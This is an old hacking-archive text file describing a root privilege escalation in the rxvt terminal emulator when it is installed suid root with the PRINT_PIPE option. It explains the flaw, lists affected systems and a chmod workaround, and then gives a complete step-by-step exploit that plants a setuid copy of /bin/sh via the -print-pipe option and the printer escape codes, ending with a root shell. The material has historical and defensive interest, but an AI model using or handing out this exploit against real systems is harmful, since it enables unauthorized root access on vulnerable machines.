home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / rxvtExploit.txt < prev    next >
Text File  |  1998-07-17  |  2KB  |  49 lines

  1.    There is a major security hole in rxvt, a terminal emulator for X, when it
  2. is run on systems suid root, as is required on many configurations in order to
  3. write to the utmp file.  It is obvious from the code that this program was
  4. not written to be run suid root, its a pity that sysadmins that install the
  5. compiled versions of this sort of code don't see the same warnings of 'run 
  6. suid root at your own risk' that the people that put together a distribution
  7. with it that way see in the makefile.
  8.    The conditions that allow this particular hole to be exploited is rxvt
  9. compiled with the PRINT_PIPE option, and is running suid root.  The program
  10. sets the pipe to "lpr", without a pathname, but its even easier than that
  11. to exploit because we can set the pipe to whatever we want with the -print-pipe
  12. option on the rxvt command line.  Although the programs gives up its root 
  13. privileges when forking to runn a shell or other command, the original program
  14. continues running suid root the entire execution of the program.
  15.    Because the popen() call runs as root, whatever program that pipe opens
  16. will execute immediately as root.  In order to start the printer pipe, the
  17. vt100 printer-on command is ESC[5i.  The pipe can then be closed with the
  18. printer-off commad, ESC[4i.  Exploiting this is extremely easy.
  19.  
  20.                    Program: rxvt 
  21. Affected Operating Systems: Linux Slackware 3.0, RedHat 2.1, others with
  22.                             rxvt suid root (and compiled with PRINT_PIPE)
  23.               Requirements: account on system, X server 
  24.            Temporary Patch: chmod -s /usr/X11R6/bin/rxvt
  25.        Security Compromise: root
  26.                     Author: Dave M. (davem@cmu.edu)
  27.                   Synopsis: rxvt fails to give up root privileges before
  28.                             opening a pipe to a program that can be specified
  29.                             by the user.
  30.  
  31.  
  32. Exploit:
  33. 1.  Set DISPLAY environment variable if necessary so you can use x clients.
  34. 2.  In user shell:
  35.     $ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug
  36.     $ chmod +x /tmp/rxbug
  37.     $ rxvt -print-pipe /tmp/rxbug
  38. 3.  In rxvt xclient:
  39.     $ cat
  40.       ESC[5i
  41.       ESC[4i
  42.     (The client will close at this point with a broken pipe)
  43. 4.  $ /tmp/rxsh
  44.     # whoami
  45.     root
  46.     #
  47.  
  48.  
  49.